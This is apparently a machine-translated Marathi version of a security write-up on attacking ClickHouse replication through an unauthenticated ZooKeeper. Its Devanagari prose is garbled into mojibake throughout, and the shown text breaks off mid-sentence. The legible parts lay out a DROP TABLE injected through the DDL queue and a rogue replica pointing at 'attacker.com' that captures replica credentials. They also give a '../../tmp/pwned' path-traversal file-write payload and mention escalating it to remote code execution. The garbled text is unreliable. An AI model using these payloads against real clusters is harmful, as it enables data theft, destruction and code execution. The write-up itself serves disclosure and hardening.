рдкреНрд░рд╛рдгреАрд╕рдВрдЧреНрд░рд╣рд╛рд▓рдпрд╛рдЪреЗ рдкрд┐рдВрдЬрд░реЗ рдмрдВрдж рдареЗрд╡рдгреНрдпрд╛рдЪреА рдЧрд░рдЬ рдХрд╛ рдЖрд╣реЗ?

рдкреНрд░рд╛рдгреАрд╕рдВрдЧреНрд░рд╣рд╛рд▓рдпрд╛рдЪреЗ рдкрд┐рдВрдЬрд░реЗ рдмрдВрдж рдареЗрд╡рдгреНрдпрд╛рдЪреА рдЧрд░рдЬ рдХрд╛ рдЖрд╣реЗ?

рд╣рд╛ рд▓реЗрдЦ рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕ рдкреНрд░рддрд┐рдХреГрддреА рдкреНрд░реЛрдЯреЛрдХреЙрд▓рдордзреАрд▓ рдЕрддреНрдпрдВрдд рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЕрд╕реБрд░рдХреНрд╖рд┐рддрддреЗрдЪреА рдХрдерд╛ рд╕рд╛рдВрдЧреЗрд▓ рдЖрдгрд┐ рдЖрдХреНрд░рдордг рдкреГрд╖реНрдарднрд╛рдЧ рдХрд╕рд╛ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдХреЗрд▓рд╛ рдЬрд╛рдК рд╢рдХрддреЛ рд╣реЗ рджреЗрдЦреАрд▓ рджрд░реНрд╢рд╡реЗрд▓.

рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕ рд╣рд╛ рдореЛрдареНрдпрд╛ рдкреНрд░рдорд╛рдгрд╛рдд рдбреЗрдЯрд╛ рд╕рд╛рдард╡рдгреНрдпрд╛рд╕рд╛рдареА рдбреЗрдЯрд╛рдмреЗрд╕ рдЖрд╣реЗ, рдмрд╣реБрддреЗрдХрджрд╛ рдПрдХрд╛рдкреЗрдХреНрд╖рд╛ рдЬрд╛рд╕реНрдд рдкреНрд░рддрд┐рдХреГрддреА рд╡рд╛рдкрд░рддреЛ. рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕рдордзреАрд▓ рдХреНрд▓рд╕реНрдЯрд░рд┐рдВрдЧ рдЖрдгрд┐ рдкреНрд░рддрд┐рдХреГрддреА рд╢реАрд░реНрд╖рд╕реНрдерд╛рдиреА рддрдпрд╛рд░ рдХреЗрд▓реНрдпрд╛ рдЖрд╣реЗрдд Apache ZooKeeper (ZK) рдЖрдгрд┐ рд▓реЗрдЦрди рдЕрдзрд┐рдХрд╛рд░ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗрдд.

рдбреАрдлреЙрд▓реНрдЯ ZK рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рдирд▓рд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдгрд╛рдЪреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╕рддреЗ, рддреНрдпрд╛рдореБрд│реЗ рдХрд╛рдлреНрдХрд╛, рд╣рдбреВрдк, рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕ рдХреЙрдиреНрдлрд┐рдЧрд░ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рд╡рд╛рдкрд░рд▓реЗрд▓реЗ рд╣рдЬрд╛рд░реЛ ZK рд╕рд░реНрд╡реНрд╣рд░ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХрд░рд┐рддреНрдпрд╛ рдЙрдкрд▓рдмреНрдз рдЖрд╣реЗрдд.

рддреБрдордЪрд╛ рд╣рд▓реНрд▓рд╛ рдкреГрд╖реНрдарднрд╛рдЧ рдХрдореА рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА, ZooKeeper рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛рдирд╛ рддреБрдореНрд╣реА рдиреЗрд╣рдореА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЖрдгрд┐ рдЕрдзрд┐рдХреГрддрддрд╛ рдХреЙрдиреНрдлрд┐рдЧрд░ рдХреЗрд▓реА рдкрд╛рд╣рд┐рдЬреЗ.

рдЕрд░реНрдерд╛рддрдЪ рдХрд╛рд╣реА 0-рджрд┐рд╡рд╕ рдЖрдзрд╛рд░рд┐рдд Java рдбрд┐рд╕рд┐рд░рд┐рдпрд▓рд╛рдпрдЭреЗрд╢рди рдЖрд╣реЗрдд, рдкрд░рдВрддреБ рдХрд▓реНрдкрдирд╛ рдХрд░рд╛ рдХреА рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛ ZooKeeper рд▓рд╛ рд╡рд╛рдЪреВ рдЖрдгрд┐ рд▓рд┐рд╣реВ рд╢рдХрддреЛ, рдЬреЛ ClickHouse рдкреНрд░рддрд┐рдХреГрддреАрд╕рд╛рдареА рд╡рд╛рдкрд░рд▓рд╛ рдЬрд╛рддреЛ.

рдХреНрд▓рд╕реНрдЯрд░ рдореЛрдбрдордзреНрдпреЗ рдХреЙрдиреНрдлрд┐рдЧрд░ рдХреЗрд▓реНрдпрд╛рд╡рд░, рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕ рд╡рд┐рддрд░рд┐рдд рдХреНрд╡реЗрд░реАрд╕ рд╕рдорд░реНрдерди рджреЗрддреЗ рдбреАрдбреАрдПрд▓, ZK рдордзреВрди рдЬрд╛рдд рдЖрд╣реЗ - рддреНрдпрд╛рдВрдЪреНрдпрд╛рд╕рд╛рдареА рд╢реАрдЯрдордзреНрдпреЗ рдиреЛрдбреНрд╕ рддрдпрд╛рд░ рдХреЗрд▓реЗ рдЬрд╛рддрд╛рдд /clickhouse/task_queue/ddl.

рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, рдЖрдкрдг рдиреЛрдб рддрдпрд╛рд░ рдХрд░рд╛ /clickhouse/task_queue/ddl/query-0001 рд╕рд╛рдордЧреНрд░реАрд╕рд╣:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

рдЖрдгрд┐ рддреНрдпрд╛рдирдВрддрд░, host1 рдЖрдгрд┐ host2 рдХреНрд▓рд╕реНрдЯрд░ рд╕рд░реНрд╡реНрд╣рд░рд╡рд░реАрд▓ рдЪрд╛рдЪрдгреА рд╕рд╛рд░рдгреА рд╣рдЯрд╡рд▓реА рдЬрд╛рдИрд▓. DDL рджреЗрдЦреАрд▓ CREATE/ALTER/DROP рдХреНрд╡реЗрд░реА рдЪрд╛рд▓рд╡рд┐рдгреНрдпрд╛рд╕ рд╕рдорд░реНрдерди рджреЗрддреЗ.

рдзрдбрдХреА рднрд░рд╡рдгрд╛рд░рд╛ рдЖрд╡рд╛рдЬ? рдкрд░рдВрддреБ рдЖрдХреНрд░рдордгрдХрд░реНрддреНрдпрд╛рд▓рд╛ рд╕рд░реНрд╡реНрд╣рд░ рдкрддреНрддреЗ рдХреЛрдареЗ рдорд┐рд│реВ рд╢рдХрддрд╛рдд?

рдШрд░рд╛рдЪреА рдкреНрд░рддрд┐рдХреГрддреА рдХреНрд▓рд┐рдХ рдХрд░рд╛ рд╡реИрдпрдХреНрддрд┐рдХ рд╕рд╛рд░рдгреНрдпрд╛рдВрдЪреНрдпрд╛ рд╕реНрддрд░рд╛рд╡рд░ рдХрд╛рд░реНрдп рдХрд░рддреЗ, рдЬреЗрдгреЗрдХрд░реВрди ZK рдордзреНрдпреЗ рдЯреЗрдмрд▓ рддрдпрд╛рд░ рдХреЗрд▓реНрдпрд╛рд╡рд░, рдПрдХ рд╕рд░реНрд╡реНрд╣рд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХреЗрд▓рд╛ рдЬрд╛рддреЛ рдЬреЛ рдкреНрд░рддрд┐рдХреГрддреАрд╕рд╣ рдореЗрдЯрд╛рдбреЗрдЯрд╛рдЪреА рджреЗрд╡рд╛рдгрдШреЗрд╡рд╛рдг рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдЬрдмрд╛рдмрджрд╛рд░ рдЕрд╕реЗрд▓. рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, рд╡рд┐рдирдВрддреА рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░рддрд╛рдирд╛ (ZK рдХреЙрдиреНрдлрд┐рдЧрд░ рдХрд░рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ, chXX - рдкреНрд░рддрд┐рдХреГрддреАрдЪреЗ рдирд╛рд╡, foobar - рдЯреЗрдмрд▓ рдирд╛рд╡):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

рдиреЛрдб рддрдпрд╛рд░ рдХреЗрд▓реЗ рдЬрд╛рддреАрд▓ рд╕реНрддрдВрдн ╨╕ рдореЗрдЯрд╛рдбреЗрдЯрд╛.

рд╕рд╛рдордЧреНрд░реА /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

рдпрд╛ рдХреНрд▓рд╕реНрдЯрд░рдордзреВрди рдбреЗрдЯрд╛ рдПрдХрддреНрд░ рдХрд░рдгреЗ рд╢рдХреНрдп рдЖрд╣реЗ рдХрд╛? рд╣реЛрдп, рдЬрд░ рдкреНрд░рддрд┐рдХреГрддреА рдкреЛрд░реНрдЯ (TCP/9009) рд╕рд░реНрд╡реНрд╣рд░рд╡рд░ chXX-address рдлрд╛рдпрд░рд╡реЙрд▓ рдмрдВрдж рд╣реЛрдгрд╛рд░ рдирд╛рд╣реА рдЖрдгрд┐ рдкреНрд░рддрд┐рдХреГрддреАрд╕рд╛рдареА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЙрдиреНрдлрд┐рдЧрд░ рдХреЗрд▓реЗ рдЬрд╛рдгрд╛рд░ рдирд╛рд╣реА. рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдмрд╛рдпрдкрд╛рд╕ рдХрд╕реЗ рдХрд░рд╛рд╡реЗ?

рд╣рд▓реНрд▓реЗрдЦреЛрд░ рдлрдХреНрдд рддреНрдпрд╛рддреАрд▓ рд╕рд╛рдордЧреНрд░реА рдХреЙрдкреА рдХрд░реВрди ZK рдордзреНрдпреЗ рдирд╡реАрди рдкреНрд░рддрд┐рдХреГрддреА рддрдпрд╛рд░ рдХрд░реВ рд╢рдХрддреЛ /clickhouse/tables/01-01/foobar/replicas/chXX рдЖрдгрд┐ рдЕрд░реНрде рдмрджрд▓рдд рдЖрд╣реЗ host.

рд╕рд╛рдордЧреНрд░реА /clickhouse/tables/01тАУ01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

рдирдВрддрд░ рддреБрдореНрд╣рд╛рд▓рд╛ рдЗрддрд░ рдкреНрд░рддрд┐рдХреГрддреАрдВрдирд╛ рд╕рд╛рдВрдЧрд╛рд╡реЗ рд▓рд╛рдЧреЗрд▓ рдХреА рдЖрдХреНрд░рдордгрдХрд░реНрддреНрдпрд╛рдЪреНрдпрд╛ рд╕рд░реНрд╡реНрд╣рд░рд╡рд░ рдбреЗрдЯрд╛рдЪрд╛ рдПрдХ рдирд╡реАрди рдмреНрд▓реЙрдХ рдЖрд╣реЗ рдЬреЛ рддреНрдпрд╛рдВрдирд╛ рдШреЗрдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ - ZK рдордзреНрдпреЗ рдПрдХ рдиреЛрдб рддрдпрд╛рд░ рдХреЗрд▓рд╛ рдЖрд╣реЗ /clickhouse/tables/01-01/foobar/log/log-00000000XX (рдПрдХреНрд╕рдПрдХреНрд╕ рдореЛрдиреЛрдЯреЛрдирд┐рдХрд▓реА рд╡рд╛рдврдгрд╛рд░реЗ рдХрд╛рдЙрдВрдЯрд░, рдЬреЗ рдЗрд╡реНрд╣реЗрдВрдЯ рд▓реЙрдЧрдордзреАрд▓ рд╢реЗрд╡рдЯрдЪреНрдпрд╛ рдХрд╛рдЙрдВрдЯрд░рдкреЗрдХреНрд╖рд╛ рдореЛрдареЗ рдЕрд╕рд╛рд╡реЗ):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

рдЬреЗрдереЗ рд╕реНрд░реЛрдд_рдкреНрд░рддрд┐рдХреГрддреА - рдорд╛рдЧреАрд▓ рдЪрд░рдгрд╛рдд рддрдпрд╛рд░ рдХреЗрд▓реЗрд▓реНрдпрд╛ рдЖрдХреНрд░рдордгрдХрд░реНрддреНрдпрд╛рдЪреНрдпрд╛ рдкреНрд░рддрд┐рдХреГрддреАрдЪреЗ рдирд╛рд╡, рдмреНрд▓реЙрдХ_рдЖрдпрдбреА - рдбреЗрдЯрд╛ рдмреНрд▓реЙрдХ рдЕрднрд┐рдЬреНрдЮрд╛рдкрдХ, рдХрд░рд╛ - "рдмреНрд▓реЙрдХ рдорд┐рд│рд╡рд╛" рдХрдорд╛рдВрдб (рдЖрдгрд┐ рдЗрддрд░ рдСрдкрд░реЗрд╢рдиреНрд╕рд╕рд╛рдареА рдпреЗрдереЗ рдХрдорд╛рдВрдб рдЖрд╣реЗрдд).

рдкреБрдвреЗ, рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рддрд┐рдХреГрддреА рд▓реЙрдЧрдордзреАрд▓ рдПрдХ рдирд╡реАрди рдЗрд╡реНрд╣реЗрдВрдЯ рд╡рд╛рдЪрддреЗ рдЖрдгрд┐ рдбреЗрдЯрд╛рдЪрд╛ рдмреНрд▓реЙрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдЖрдХреНрд░рдордгрдХрд░реНрддреНрдпрд╛рджреНрд╡рд╛рд░реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╕рд░реНрд╡реНрд╣рд░рд╡рд░ рдЬрд╛рддреЗ (рдкреНрд░рддрд┐рдХреГрддреА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдмрд╛рдпрдирд░реА рдЖрд╣реЗ, HTTP рд╡рд░ рдЪрд╛рд▓рддреЛ). рд╕рд░реНрд╡реНрд╣рд░ attacker.com рд╡рд┐рдирдВрддреНрдпрд╛ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреАрд▓:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

рдЬреЗрдереЗ рдкреНрд░рддрд┐рдХреГрддреАрд╕рд╛рдареА XXX рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдбреЗрдЯрд╛ рдЖрд╣реЗ. рдХрд╛рд╣реА рдкреНрд░рдХрд░рдгрд╛рдВрдордзреНрдпреЗ, рд╣реЗ рдореБрдЦреНрдп рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЖрдгрд┐ HTTP рдкреНрд░реЛрдЯреЛрдХреЙрд▓рджреНрд╡рд╛рд░реЗ рдбреЗрдЯрд╛рдмреЗрд╕рдордзреНрдпреЗ рдкреНрд░рд╡реЗрд╢ рдЕрд╕рд▓реЗрд▓реЗ рдЦрд╛рддреЗ рдЕрд╕реВ рд╢рдХрддреЗ. рддреБрдореНрд╣реА рдкрд╛рд╣рд┐рд▓реНрдпрд╛рдкреНрд░рдорд╛рдгреЗ, рдЖрдХреНрд░рдордгрд╛рдЪреА рдкреГрд╖реНрдарднрд╛рдЧ рдЧрдВрднреАрд░рдкрдгреЗ рдореЛрдареА рд╣реЛрддреЗ рдХрд╛рд░рдг рдкреНрд░рддрд┐рдХреГрддреАрд╕рд╛рдареА рд╡рд╛рдкрд░рд▓рд╛ рдЬрд╛рдгрд╛рд░рд╛ ZooKeeper, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЙрдиреНрдлрд┐рдЧрд░ рдХреЗрд▓реНрдпрд╛рд╢рд┐рд╡рд╛рдп рд╕реЛрдбрд▓рд╛ рд╣реЛрддрд╛.

рдкреНрд░рддрд┐рдХреГрддреАрдордзреВрди рдбреЗрдЯрд╛рдЪрд╛ рдмреНрд▓реЙрдХ рдорд┐рд│рд╡рдгреНрдпрд╛рдЪреЗ рдХрд╛рд░реНрдп рдкрд╛рд╣реВ, рддреЗ рдкреВрд░реНрдг рдЖрддреНрдорд╡рд┐рд╢реНрд╡рд╛рд╕рд╛рдиреЗ рд▓рд┐рд╣рд┐рд▓реЗрд▓реЗ рдЖрд╣реЗ рдХреА рд╕рд░реНрд╡ рдкреНрд░рддрд┐рдХреГрддреА рдпреЛрдЧреНрдп рдирд┐рдпрдВрддреНрд░рдгрд╛рдЦрд╛рд▓реА рдЖрд╣реЗрдд рдЖрдгрд┐ рддреНрдпрд╛рдВрдЪреНрдпрд╛рдордзреНрдпреЗ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдЖрд╣реЗ.

рдкреНрд░рд╛рдгреАрд╕рдВрдЧреНрд░рд╣рд╛рд▓рдпрд╛рдЪреЗ рдкрд┐рдВрдЬрд░реЗ рдмрдВрдж рдареЗрд╡рдгреНрдпрд╛рдЪреА рдЧрд░рдЬ рдХрд╛ рдЖрд╣реЗ?
рдкреНрд░рддрд┐рдХреГрддреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛрдб

рдлрдВрдХреНрд╢рди рдлрд╛рдЗрд▓реНрд╕рдЪреА рдпрд╛рджреА рд╡рд╛рдЪрддреЗ, рдирдВрддрд░ рддреНрдпрд╛рдВрдЪреА рдирд╛рд╡реЗ, рдЖрдХрд╛рд░, рд╕рд╛рдордЧреНрд░реА рдЖрдгрд┐ рдирдВрддрд░ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдорд╡рд░ рд▓рд┐рд╣рд┐рддреЗ. рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдордордзреНрдпреЗ рдбреЗрдЯрд╛ рдХрд╕рд╛ рд╕рдВрдЧреНрд░рд╣рд┐рдд рдХреЗрд▓рд╛ рдЬрд╛рддреЛ рдпрд╛рдЪреЗ рд╕реНрд╡рддрдВрддреНрд░рдкрдгреЗ рд╡рд░реНрдгрди рдХрд░рдгреЗ рдпреЛрдЧреНрдп рдЖрд╣реЗ.

рдордзреНрдпреЗ рдЕрдиреЗрдХ рдЙрдкрдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЖрд╣реЗрдд /var/lib/clickhouse (рдХреЙрдиреНрдлрд┐рдЧрд░реЗрд╢рди рдлрд╛рдЗрд▓рдордзреВрди рдбрд┐рдлреЙрд▓реНрдЯ рд╕реНрдЯреЛрд░реЗрдЬ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛):

рдЭреЗрдВрдбреЗ - рд░реЗрдХреЙрд░реНрдбрд┐рдВрдЧрд╕рд╛рдареА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЭреЗрдВрдбреЗ, рдбреЗрдЯрд╛ рдЧрдорд╛рд╡рд▓реНрдпрд╛рдирдВрддрд░ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддреАрд╕рд╛рдареА рд╡рд╛рдкрд░рд▓реЗ рдЬрд╛рддреЗ;
рдЯреАрдПрдордкреА - рддрд╛рддреНрдкреБрд░рддреНрдпрд╛ рдлрд╛рдЗрд▓реНрд╕ рд╕рдВрдЪрдпрд┐рдд рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛;
user_files тАФ рд╡рд┐рдирдВрддреНрдпрд╛рдВрдЪреНрдпрд╛ рдлрд╛рдЗрд▓реНрд╕рд╕рд╣ рдСрдкрд░реЗрд╢рдиреНрд╕ рдпрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХреЗрдкрд░реНрдпрдВрдд рдорд░реНрдпрд╛рджрд┐рдд рдЖрд╣реЗрдд (INTO рдЖрдЙрдЯрдлрд╛рдИрд▓ рдЖрдгрд┐ рдЗрддрд░);
рдореЗрдЯрд╛рдбреЗрдЯрд╛ - рдЯреЗрдмрд▓ рд╡рд░реНрдгрдирд╛рд╕рд╣ sql рдлрд╛рдЗрд▓реНрд╕;
preprocessed_configs - рдкрд╛рд╕реВрди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗрд▓реЗрд▓реНрдпрд╛ рд╡реНрдпреБрддреНрдкрдиреНрди рдХреЙрдиреНрдлрд┐рдЧрд░реЗрд╢рди рдлрд╛рдЗрд▓реНрд╕ /etc/clickhouse-server;
рдбреЗрдЯрд╛ - рдбреЗрдЯрд╛рд╕рд╣ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛, рдпрд╛ рдкреНрд░рдХрд░рдгрд╛рдд рдкреНрд░рддреНрдпреЗрдХ рдбреЗрдЯрд╛рдмреЗрд╕рд╕рд╛рдареА рдПрдХ рд╕реНрд╡рддрдВрддреНрд░ рдЙрдкрдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдпреЗрдереЗ рддрдпрд╛рд░ рдХреЗрд▓реА рдЬрд╛рддреЗ (рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде /var/lib/clickhouse/data/default).

рдбреЗрдЯрд╛рдмреЗрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХреЗрддреАрд▓ рдкреНрд░рддреНрдпреЗрдХ рдЯреЗрдмрд▓рд╕рд╛рдареА рдЙрдкрдбрд┐рд░реЗрдХреНрдЯреНрд░реА рддрдпрд╛рд░ рдХреЗрд▓реА рдЬрд╛рддреЗ. рдкреНрд░рддреНрдпреЗрдХ рд╕реНрддрдВрднрд╛рд╡рд░ рдЕрд╡рд▓рдВрдмреВрди рдПрдХ рд╕реНрд╡рддрдВрддреНрд░ рдлрд╛рдЗрд▓ рдЖрд╣реЗ рдЗрдВрдЬрд┐рди рд╕реНрд╡рд░реВрдк. рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде рдЯреЗрдмрд▓рд╕рд╛рдареА foobarрдЖрдХреНрд░рдордгрдХрд░реНрддреНрдпрд╛рджреНрд╡рд╛рд░реЗ рддрдпрд╛рд░ рдХреЗрд▓реЗрд▓реНрдпрд╛, рдЦрд╛рд▓реАрд▓ рдлрд╛рдпрд▓реА рддрдпрд╛рд░ рдХреЗрд▓реНрдпрд╛ рдЬрд╛рддреАрд▓:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

рдбреЗрдЯрд╛рдЪреНрдпрд╛ рдмреНрд▓реЙрдХрд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛рдирд╛ рдкреНрд░рддрд┐рдХреГрддреА рд╕рдорд╛рди рдирд╛рд╡рд╛рдВрдЪреНрдпрд╛ рдлрд╛рдпрд▓реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдгреНрдпрд╛рдЪреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддреЗ рдЖрдгрд┐ рддреНрдпрд╛рдВрдирд╛ рдХреЛрдгрддреНрдпрд╛рд╣реА рдкреНрд░рдХрд╛рд░реЗ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдд рдирд╛рд╣реА.

рдЪреМрдХрд╕ рд╡рд╛рдЪрдХрд╛рдиреЗ рдХрджрд╛рдЪрд┐рдд рдлрдВрдХреНрд╢рдирдордзреНрдпреЗ file_name рдЪреНрдпрд╛ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдЬреЛрдбрдгреАрдмрджреНрджрд▓ рдРрдХрд▓реЗ рдЕрд╕реЗрд▓ WriteBufferFromFile. рд╣реЛрдп, рд╣реЗ рдЖрдХреНрд░рдордгрдХрд░реНрддреНрдпрд╛рд▓рд╛ рд╡рд╛рдкрд░рдХрд░реНрддрд╛ рдЕрдзрд┐рдХрд╛рд░рд╛рдВрд╕рд╣ FS рд╡рд░реАрд▓ рдХреЛрдгрддреНрдпрд╛рд╣реА рдлрд╛рдЗрд▓рд╡рд░ рдЕрдирд┐рдпрдВрддреНрд░рд┐рдд рд╕рд╛рдордЧреНрд░реА рд▓рд┐рд╣рд┐рдгреНрдпрд╛рдЪреА рдкрд░рд╡рд╛рдирдЧреА рджреЗрддреЗ clickhouse. рд╣реЗ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА, рдЖрдХреНрд░рдордгрдХрд░реНрддреНрдпрд╛рджреНрд╡рд╛рд░реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдкреНрд░рддрд┐рдХреГрддреА рд╡рд┐рдирдВрддреАрд▓рд╛ рдЦрд╛рд▓реАрд▓ рдкреНрд░рддрд┐рд╕рд╛рдж рдкрд░рдд рдХрд░рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ (рд╕рдордЬрдгреНрдпрд╛рдЪреНрдпрд╛ рд╕реБрд▓рднрддреЗрд╕рд╛рдареА рд▓рд╛рдЗрди рдмреНрд░реЗрдХ рдЬреЛрдбрд▓реЗ рдЧреЗрд▓реЗ рдЖрд╣реЗрдд):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

рдЖрдгрд┐ рдПрдХрддреНрд░реАрдХрд░рдгрд╛рдирдВрддрд░ ../../../../../../../../../tmp/pwned рдлрд╛рдЗрд▓ рд▓рд┐рд╣рд┐рд▓реА рдЬрд╛рдИрд▓ /tmp/pwned рд╕рд╛рдордЧреНрд░реАрд╕рд╣ рд╣реЕрд▓реЛ рдлреНрд░реЙрдордЭреВрдХреАрдкрд░.

рдлрд╛рдЗрд▓ рд▓реЗрдЦрди рдХреНрд╖рдорддрд╛ рд░рд┐рдореЛрдЯ рдХреЛрдб рдПрдХреНрдЭрд┐рдХреНрдпреВрд╢рди (RCE) рдордзреНрдпреЗ рдмрджрд▓рдгреНрдпрд╛рд╕рд╛рдареА рдЕрдиреЗрдХ рдкрд░реНрдпрд╛рдп рдЖрд╣реЗрдд.

RCE рдордзреАрд▓ рдмрд╛рд╣реНрдп рд╢рдмреНрджрдХреЛрд╢

рдЬреБрдиреНрдпрд╛ рдЖрд╡реГрддреНрддреНрдпрд╛рдВрдордзреНрдпреЗ, рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕ рд╕реЗрдЯрд┐рдВрдЧреНрдЬ рдЕрд╕рд▓реЗрд▓реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╡рд╛рдкрд░рдХрд░реНрддрд╛ рдЕрдзрд┐рдХрд╛рд░рд╛рдВрд╕рд╣ рд╕рдВрдЧреНрд░рд╣рд┐рдд рдХреЗрд▓реА рдЧреЗрд▓реА рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕ рдбреАрдлреЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧреНрдЬ рдлрд╛рдЗрд▓реНрд╕ XML рдлрд╛рдЗрд▓реНрд╕ рдЖрд╣реЗрдд рдЬреНрдпрд╛ рд╕реЗрд╡рд╛ рд╕реНрдЯрд╛рд░реНрдЯрдЕрдкрд╡рд░ рд╡рд╛рдЪрддреЗ рдЖрдгрд┐ рдирдВрддрд░ рдХреЕрд╢ рдХрд░рддреЗ /var/lib/clickhouse/preprocessed_configs. рдЬреЗрд╡реНрд╣рд╛ рдмрджрд▓ рд╣реЛрддрд╛рдд рддреЗрд╡реНрд╣рд╛ рддреЗ рдкреБрдиреНрд╣рд╛ рд╡рд╛рдЪрд▓реЗ рдЬрд╛рддрд╛рдд. рдЬрд░ рддреБрдордЪреНрдпрд╛рдХрдбреЗ рдкреНрд░рд╡реЗрд╢ рдЕрд╕реЗрд▓ /etc/clickhouse-server рд╣рд▓реНрд▓реЗрдЦреЛрд░ рд╕реНрд╡рддрдГрдЪреЗ рдирд┐рд░реНрдорд╛рдг рдХрд░реВ рд╢рдХрддреЛ рдмрд╛рд╣реНрдп рд╢рдмреНрджрдХреЛрд╢ рдПрдХреНрдЭрд┐рдХреНрдпреБрдЯреЗрдмрд▓ рдкреНрд░рдХрд╛рд░ рдЖрдгрд┐ рдирдВрддрд░ рдЕрдирд┐рдпрдВрддреНрд░рд┐рдд рдХреЛрдб рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░рд╛. рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕рдЪреНрдпрд╛ рд╡рд░реНрддрдорд╛рди рдЖрд╡реГрддреНрддреНрдпрд╛ рдбреАрдлреЙрд▓реНрдЯрдиреБрд╕рд╛рд░ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд░рдд рдирд╛рд╣реАрдд, рдкрд░рдВрддреБ рд╕рд░реНрд╡реНрд╣рд░ рд╣рд│реВрд╣рд│реВ рдЕрджреНрдпрддрдирд┐рдд рдХреЗрд▓реЗ рдЕрд╕рд▓реНрдпрд╛рд╕, рдЕрд╕реЗ рдЕрдзрд┐рдХрд╛рд░ рдХрд╛рдпрдо рд░рд╛рд╣реВ рд╢рдХрддрд╛рдд. рддреБрдореНрд╣реА рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕ рдХреНрд▓рд╕реНрдЯрд░рд▓рд╛ рд╕рдорд░реНрдерди рджреЗрдд рдЕрд╕рд▓реНрдпрд╛рд╕, рд╕реЗрдЯрд┐рдВрдЧреНрдЬ рдирд┐рд░реНрджреЗрд╢рд┐рдХреЗрдЪреЗ рдЕрдзрд┐рдХрд╛рд░ рддрдкрд╛рд╕рд╛, рддреЗ 